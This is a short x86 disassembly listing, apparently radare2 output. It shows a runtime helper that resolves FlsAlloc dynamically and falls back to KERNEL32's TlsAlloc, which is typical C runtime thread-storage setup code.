push str.FlsAlloc
push 0x1f
call fcn.0041dc08
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ddd1
push dword [ebp + 8]
mov ecx, esi
call dword [0x42d1b8]
call esi
jmp 0x41ddd7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4